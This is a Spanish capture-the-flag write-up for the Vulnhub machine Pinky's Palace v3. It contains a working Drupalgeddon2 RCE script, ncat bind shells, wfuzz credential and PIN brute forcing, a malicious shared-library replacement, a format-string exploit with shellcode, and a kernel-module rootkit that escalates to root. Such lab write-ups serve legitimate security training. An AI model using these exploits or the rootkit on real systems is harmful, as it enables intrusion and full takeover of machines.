Pinkys Palace v3 - Vulnhub
Write up en español para Pinkys Palace v3 - Vulnhub
Escaneo de puertos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sT -Pn -T4 -O 192.168.100.99
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 11:02 CEST
Nmap scan report for 192.168.100.99
Host is up (0.00040s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
5555/tcp open freeciv
8000/tcp open http-alt
MAC Address: BC:24:11:3A:A1:D6 (Proxmox Server Solutions GmbH)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Puerto 21
Se trata el puerto de FTP anónimo.
Lo primero que veremos es un mensaje de bienvenida pero explorando un poco más encontraremos una configuración interesante sobre el firewall.
Este firewall parece bloquear todas las conexiones TCP salientes iniciadas desde eth0, es decir, ninguna conexión nueva puede salir del sistema por TCP.
Esto significa que no podremos obtener una shell reversa en principio.
Puerto 5555
Es el puerto dedicado al servicio SSH.
1
2
❯ nc 192.168.100.99 5555
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
Puerto 8000
Nos encontramos ante un CMS basado en Drupal 7.
Un escaneo rápido de diretorios nos muestra bastante información interesante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gobuster dir -u http://192.168.100.99:8000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.99:8000/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 169]
/.hta (Status: 403) [Size: 169]
/.htpasswd (Status: 403) [Size: 169]
/.gitignore (Status: 200) [Size: 174]
/includes (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/includes/]
/index.php (Status: 200) [Size: 9196]
/misc (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/misc/]
/modules (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/modules/]
/profiles (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/profiles/]
/rest (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/rest/]
/scripts (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/scripts/]
/robots.txt (Status: 200) [Size: 2189]
/sites (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/sites/]
/themes (Status: 301) [Size: 185] [--> http://192.168.100.99:8000/themes/]
/web.config (Status: 200) [Size: 2200]
Progress: 4744 / 4745 (99.98%)
/xmlrpc.php (Status: 200) [Size: 42]
===============================================================
Finished
===============================================================
En el robots.txt encontramos aun más información interesante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
Podemos verificar exactamente que versión de Drupal está usando consultando el CHANGELOG.txt.
Versión 7.57.
Los demás archivos son readme por defecto que proporciona Drupal para tener una idea de como mantener el CMS aunque otros como install/upgrade.php son interesantes pero no tenemos acceso a ellos.
CVE-2018-7600
En esta versión de Drupal 7.57 es bien conocida la vulnerabilidad CVE-2018-7600 que permite ejecutar código arbitrario en el servidor debido a malas configuraciones en ciertos módulos por defecto llamada Drupalgeddon.
Aunque existen difernetes PoC para este CVE escogí uno sencillo aunque antiguo para modificarlo y hacerlo funcionar correctamente ya que no podremos obtener una shell reversa crearemos una shell semi interactiva.
Script modificado:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
# coding: utf-8
import requests
import re
import sys
import os
def exploit(url_target, os_command):
# Paso 1: Inyección en user/password
params = {
'q': 'user/password',
'name[#post_render][]': 'passthru',
'name[#markup]': os_command,
'name[#type]': 'markup'
}
data = {
'form_id': 'user_pass',
'_triggering_element_name': 'name'
}
try:
r = requests.post(url_target, data=data, params=params, timeout=10)
except requests.exceptions.RequestException as e:
print(f"[!] Error de conexión: {e}")
return
match = re.search(r'name="form_build_id" value="([^"]+)"', r.text)
if not match:
print("[!] No se pudo extraer el form_build_id.")
return
form_build_id = match.group(1)
# Paso 2: Ejecutar comando
params = {'q': f'file/ajax/name/#value/{form_build_id}'}
data = {'form_build_id': form_build_id}
try:
r = requests.post(url_target, data=data, params=params, timeout=10)
r.encoding = 'utf-8'
output = r.text.split("[{")[0].strip()
print(output if output else "[*] Comando ejecutado pero sin salida.")
except Exception as e:
print(f"[!] Error al ejecutar el comando: {e}")
def shell(url_target):
print(f"\n[*] Shell interactiva sobre {url_target}")
print(" Escribí 'exit' para salir.\n")
while True:
try:
cmd = input("drupal-shell$ ")
if cmd.strip().lower() in ['exit', 'quit']:
print("[*] Cerrando sesión interactiva.")
break
if cmd.strip() == "":
continue
exploit(url_target, cmd)
except KeyboardInterrupt:
print("\n[*] Salida por usuario.")
break
def usage():
print("\nUso: python3 drupalgeddon2.py <URL>")
print("Ejemplo: python3 drupalgeddon2.py http://192.168.100.220:8000\n")
if __name__ == "__main__":
if len(sys.argv) != 2:
usage()
sys.exit(1)
target_url = sys.argv[1]
shell(target_url)
Este script lo guardamos y ejecutamos una prueba.
Ahora que podemos explorar el sistema de forma más o menos interactiva podemos buscar alternativas de tunneling para obtener una shell reversa.
Bind shell
Este concepto que se conoce como bind shell es una forma de obtener una shell reversa en el sistema. Si una shell reversa se basa en la conexión desde la víctima hacia un puerto del C2C, bind shell es lo contrario, el C2C se conecta a un puerto abierto en el sistema objetivo.
Para conseguir esto vamos a necesitar que en la víctima exista alguna herramienta que nos permita crear un puerto abierto con ciertas características.
Podemos empezar buscando herramientas como Netcat o Socat.
Parece que ncat está instalado en la máquina.
Ahora el proceso es abrir el puerto en la víctima indicando que sirva bash y conectarse a él.
1
ncat -lvnp 1337 -e /bin/bash
l: listen (escucha conexiones entrantes)
v: modo verbose
n: no hace DNS lookups
p 1337: puerto a usar
e /bin/bash: ejecuta bash cuando alguien se conecta
Ahora conectamos con el bind shell.
1
nc 192.168.100.99 1337
Ahora podemos estabilizar la shell.
Explorando el sistema
- Usuarios del sistema con shell
1
2
3
4
5
www-data@pinkys-palace:~/html$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
pinksec:x:1001:1001::/home/pinksec:/bin/bash
pinksecmanagement:x:1002:1002::/home/pinksecmanagement:/bin/bash
- Servicios expuestos
1
netstat -tulnp
Hay servicios internos escuchando en:
127.0.0.1:80 → probablemente Apache
127.0.0.1:3306 → MySQL
127.0.0.1:65334 → ¿otro web service?
Como no tenemos acceso ssh pero si disponemos de ncat vamos a realizar un port forwarding para acceder a estos servicios.
Port forwarding
ncat puede hacer forwarding TCP con una simple redirección.
- Redirigir puerto 80 interno → 4444 externo
1
2
3
4
nohup ncat -lvp 4444 -c "ncat 127.0.0.1 80" &
# o
socat TCP-LISTEN:4444,reuseaddr,fork TCP:127.0.0.1:80
Esto dice:
“Escucha en el 4444 y redirige todo lo que llegue al 127.0.0.1:80”.
- Redirigir puerto 65334 interno → 4445 externo
1
2
3
nohup ncat -lvp 4445 -c "ncat 127.0.0.1 65334" &
# o
socat TCP-LISTEN:4445,reuseaddr,fork TCP:127.0.0.1:65334
- En el puerto local 65334 encontramos una base de datos que parece en development.
- En el puerto local 80 encontramos un panel de administración interno.
Fuzzing de archivos
En el puerto 4445 donde encontramos la base de datos en desarrollo realizamos un fuzzing para encontrar posibles ficheros con datos sensibles.
- Creamos dos diccionarios de palabras clave
1
2
3
4
5
6
# ext.txt
mdb
sql
txt
db
lst
1
crunch 1 4 abcdefghijklmnopqrstuvwxyz1234567890 > /tmp/words.txt
Con esto haremos el fuzzing.
1
wfuzz -t 100 -w /tmp/words.txt -w /tmp/ext.txt --sc=200 -c http://192.168.100.99:4445/FUZZ.FUZ2Z
Tras un buen rato parece haber encontrado un archivo llamdo pwds.db
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754
Brute force de usuarios
Ahora que tenemos una lista de contraseñas podemos usarla junto con los nombres de usaurio que existen en el sistema para realizar un brute force en el panel interno.
1
wfuzz -t 150 -w users -w passwd -c -d "user=FUZZ&pass=FUZ2Z&pin=11111" http://192.168.100.99:4444/login.php
Econtramos entre todas las respuestas una cuya longitud es menor a las demas 41 en lugar de 45.
Esto puede indicar que el usuario y la contraseña son válidos pero el pin no es correcto.
Es algo sutil pero por algún sitio tendremos que continuar por lo que ahora debemos buscar un pin válido.
- Creamos el diccionario de pines
1
crunch 5 5 1234567890 > /tmp/pins
Lo usamos con las credenciales encontradas anteriormente.
1
wfuzz -t 150 -w /tmp/pins -c -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" --hh 41,45 http://192.168.100.99:4444/login.php
Escalando privilegios como usuario
Encontramos aquí un panel de mantenimiento donde podemos ejecutar comandos como el usuario pinksec.
Vamos a crear una bind shell para conectarnos a él.
1
ncat -lvnp 1338 -e /bin/bash
En el directorio del usuario encontramos un binario interesante.
Pertenece a pinksecmanagement
.
Si hacemos un strings del binario encontramos que utiliza una librería personalizada que es accesible por nuestro usuario y podemos modificarla.
Aunque pertenece a root podemos ver que tenemos permisos de escritura.
Antes de modificar la librería primero debemos saber que es .so es decir se carga en tiempo de ejecución. Otra cosa a tener en cuenta es no dañar funciones críticas para que el binario funcione correctamente y poder obtener el resultado deseado.
Para esto vamos a utilizar el comando nm -g
que nos permite listar las funciones de la librería.
1
nm -g /lib/libpinksec.so
Parece que cuenta con un banner, esto es ideal porque no suele ser algo crítico para el funcionamiento del binario y podemos sobreescribirlo.
- Creamos un archivo llamado shell.c
1
2
3
4
5
#include <stdlib.h>
int psbanner() {
return system("/bin/sh");
}
1
2
3
nano shell.c
gcc -shared -o libpinksec.so -fPIC l.cll
cp libpinksec.so /lib/libpinksec.so
Acceso por SSH
La shell que conseguimos es poco interactiva y muy limitada por lo que vamos a crear claves RSA para conectar a través de SSH.
- Creamos las claves
1
ssh-keygen -t rsa -b 2048 -f pinksec_key
- Copiamos las claves al directorio del usuario
1
2
mkdir /home/pinksecmanagement/.ssh/
echo "PEGA_TU_CLAVE_PÚBLICA_AQUÍ" >> /home/pinksecmanagement/.ssh/authorized_keys
Ahora podemos acceder desde a través del puerto 5555.
1
ssh -i pinksec_key pinksecmanagement@192.168.100.99 -p 5555
Escalando privilegios 2
Buscamos binarios que no sean nativos y que tengan el bite SUID activo.
1
find / -perm -4000 -type f 2>/dev/null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/local/bin/PSMCCLI
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/bin/umount
/bin/su
/bin/ping
/bin/mount
El que nos interesa es el binario PSMCCLI
ya que posiblemente sea algo como pinkManager Console.
El binario parece que únicamente escribe los parámetros que se le pasen.
1
2
3
4
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI
[+] Pink Sec Management Console CLI
pinksecmanagement@pinkys-palace:~$ /usr/local/bin/PSMCCLI test
[+] Args: test
Para poder analizar bien el binario vamos a utilizar gdb
por lo que primero debemos descargar el binario a nuestra máquina.
1
2
3
pinksecmanagement@pinkys-palace:/usr/local/bin$ python3 -m http.server 10000
Serving HTTP on 0.0.0.0 port 10000 ...
192.168.100.210 - - [06/Apr/2025 05:31:08] "GET /PSMCCLI HTTP/1.1" 200 -
1
wget http://192.168.100.99:10000/PSMCCLI
Buscamos la función donde el binario muestra el argumento del usuario.
Observamos que usa las funciones printf
para mostrar el mensaje.
Estas pueden ser o suelen ser vulnerables a format string. Es una vulnerabilidad clásica. Es cuando un programa hace algo como:
1
printf(user_input); // ❌ VULNERABLE
En lugar de:
1
printf("%s", user_input); // ✅ SEGURO
Cuando el programa pasa el input directamente como formato, el atacante puede controlar cómo se imprime, acceder a la memoria e incluso escribir valores arbitrarios en memoria. {. prompt-warning }
Si pasamos el argumento %x
muestra valores de la pila.
1
2
pinksecmanagement@pinkys-palace:/usr/local/bin$ /usr/local/bin/PSMCCLI %x
[+] Args: bffff704
Explotando el format string
- Shellcode
1
export SCODE=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
- Encontrar la dirección en memoria de esa variable de entorno
Utilizamos getenvaddr.c
1
2
gcc getenvaddr.c -o getenvaddr
chmod +x getenvaddr
Recolección de datos
- Determinar direcciones
1
2
3
4
5
6
7
8
# Se ha colocado en la variable de entorno y se verificó su dirección
pinksecmanagement@pinkys-palace:/tmp$ export SCODE=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
pinksecmanagement@pinkys-palace:/tmp$ ./getenvaddr SCODE /usr/local/bin/PSMCCLI
SCODE will be at 0xbffffe4b
# Dirección de la función a sobreescribir (puntero en la GOT de putchar)
pinksecmanagement@pinkys-palace:/tmp$ objdump -R /usr/local/bin/PSMCCLI | grep putchar
0804a01c R_386_JUMP_SLOT putchar@GLIBC_2.0
- Determinar el offset en la pila
1
2
3
4
5
6
7
8
9
10
# Offset en la pila (determinación con marcadores)
#Ejemplo bueno tenemos los valores ASCII de A y B exactos
/usr/local/bin/PSMCCLI AAAABBBB%134\$x%135\$x
[+] Args: AAAABBBB4141414142424242
# En caso de los valores ASCII de A y B no coincidan, debemos ajustar el offset mediante padding
/usr/local/bin/PSMCCLI AAAABBBBC%134\$x%135\$x
[+] Args: AAAABBBBC4241414143424242
# En este caso no es necesario hacer padding
Stack offset | Contenido | Interpreta printf como |
---|---|---|
134 | 0x41414141 (“AAAA”) | %134$x → muestra 41414141 |
135 | 0x42424242 (“BBBB”) | %135$x → muestra 42424242 |
Esto confirma que los primeros 8 bytes del input (donde pondremos las direcciones a sobreescribir) están en esas posiciones, por lo que ahora podemos usar %134$hn
y %135$hn
para escribir valores a esas direcciones.
Creando el payload
El objetivo es sobrescribir la entrada en la GOT de putchar
(0x0804a01c) con la dirección donde hemos colocado la shellcode en la pila.
Esto provoca que cuando se llame a putchar()
en lugar de ir a la función de libc, irá a la dirección en memoria de nuestro shellcode.
- Calcular la división de la dirección del shellcode
Necesitamos dividir la dirección del shellcode en dos partes:
1
2
Parte alta: 0xfe4b
Parte baja: 0xbfff
Calculamos los rellenos sabiendo que las direcciones están en offset 134 y 135. Como no usamos padding solo restamos 8 carácteres impresos antes del primer %u, en el caso de haber padding añadimos 1 carácter a la resta.
1
2
3
fill_low = 65099 - 8 = 65091
# Como 0xbfff es menor que 0xfe4b debemos hacer un overflow entonces
fill_high = 0x1bfff (114687) - 0xfe4b (65099) = 49588
- Construir el payload
1
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")%65091u%134\$hn%49588u%135\$hn
Explicación
- Direcciones:
\x1c\xa0\x04\x08\x1e\xa0\x04\x08
Estas son dos direcciones escritas en little endian, que colocamos como los primeros 8 bytes del input. Vamos a analizarlas:
\x1c\xa0\x04\x08
→ esto es0x0804a01c
\x1e\xa0\x04\x08
→ esto es0x0804a01e
(es decir,0x0804a01c + 2
)
¿Qué es esta dirección?
- Es la dirección en la GOT (Global Offset Table) de la función
putchar
. - El binario vulnerable llama a
putchar()
, así que si podemos sobrescribir su GOT, la ejecución se redirige a lo que queramos.
¿Por qué hay dos direcciones?
Porque vamos a sobrescribir una dirección completa de 32 bits, pero el format string exploit con %hn
solo escribe 2 bytes (16 bits).
Así que:
- Esccribimos la parte baja (los primeros 2 bytes) en
0x0804a01c
- Y la parte alta (los otros 2 bytes) en
0x0804a01e
Rellenos: %65091u
y %49588u
Estas directivas le dicen a printf()
que imprima X caracteres antes de hacer el write con %hn
.
Esto es clave porque:
%hn
escribe la cantidad de caracteres impresos hasta ese momento en la dirección dada.
¿Qué queremos escribir?
Queremos escribir una dirección como 0xbffffe4b
(ejemplo), que dividimos en:
- Parte baja:
0xfe4b
→ decimal 65099 - Parte alta:
0xbfff
→ decimal 49151
Entonces, para que %134$hn
escriba 0xfe4b
en 0x0804a01c
, necesitamos que printf()
haya impreso 65099 caracteres cuando llegue ahí.
Pero como ya imprimimos 8 caracteres antes (las dos direcciones):
- 65099 - 8 = 65091 → usas
%65091u
Lo importante es:
%65091u
→ hace queprintf()
imprima 65091 caracteres- Luego
%134$hn
→ escribe 65091 (0xfe43) en la dirección0x0804a01c
Lo mismo para la parte alta con %49588u
:
Es la diferencia entre la parte alta ajustada con overflow y la parte baja.
Los %134$hn
y %135$hn
Estas son las instrucciones finales que hacen la escritura real:
%134$hn
→ escribe 65091 (0xfe43) en la dirección que colocaste al inicio del payload:0x0804a01c
%135$hn
→ escribe 49588 (0xc1b4) en0x0804a01e
Así, entre las dos:
- sobrescribes 4 bytes consecutivos en la GOT (2 con cada
%hn
) - La GOT de
putchar
termina apuntando al shellcode en la pila
Escalando privilegios 3
Ahora que tenemos shell como pinky
creamos una nueva RSA key para acceso por ssh.
1
ssh-keygen -t rsa -b 2048 -f pinky_key
La pegamos igual que antes pero ahora en el usuario pinky
.
1
2
mkdir /home/pinky/.ssh/
echo "PEGA_TU_CLAVE_PÚBLICA_AQUÍ" >> /home/pinky/.ssh/authorized_keys
Ahora si con un sudo -l encontramos:
1
2
3
4
5
6
7
pinky@pinkys-palace:~$ sudo -l
Matching Defaults entries for pinky on pinkys-palace:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pinky may run the following commands on pinkys-palace:
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod
Este usuario tiene permisos sudo sobre dos binarios que son utilidades del sistema que permiten instalar modulos de kernel y eliminarlos.
Podemos usar un rootkit existente o crear un modulo sencillo para escalar a UID 0.
En este caso la victima si tenía los headers necesarios para compilar pero si no fuese el caso tendríamos que buscar un rootkit con la versión de kernel que tenga comprobando con uname -r
.
- Código del rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kmod.h>
#include <linux/cred.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Yo");
MODULE_DESCRIPTION("Rootkit sencillo para abrir reverse shell como root");
static int __init rootkit_init(void)
{
printk(KERN_INFO "[rootkit] Cargando el módulo...\n");
// 1. Elevar privilegios al proceso que ejecuta insmod
commit_creds(prepare_kernel_cred(NULL));
// 2. Definir comando para la reverse shell
// Sustituye TU_IP y PUERTO por tu IP atacante y puerto
char *argv[] = {
"/bin/bash",
"-c",
"ncat -lvnp 8888 -e /bin/bash",
NULL
};
// Entorno mínimo
static char *envp[] = {
"HOME=/root",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
// 3. Llamar a usermodehelper
// UMH_WAIT_EXEC = esperamos a que termine la ejecución
int ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
printk(KERN_INFO "[rootkit] call_usermodehelper: %d\n", ret);
return 0;
}
static void __exit rootkit_exit(void)
{
printk(KERN_INFO "[rootkit] Módulo descargado.\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
- Código del Makefile
1
2
3
4
5
6
7
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
- Compilamos el módulo
1
make
- Instalamos el módulo
1
sudo insmod rootkit.ko
Este módulo ejecutará una bind shell en el puerto 8888 ya que si recordamos no podemos realizar una shell reversa en el sistema debido al firewall.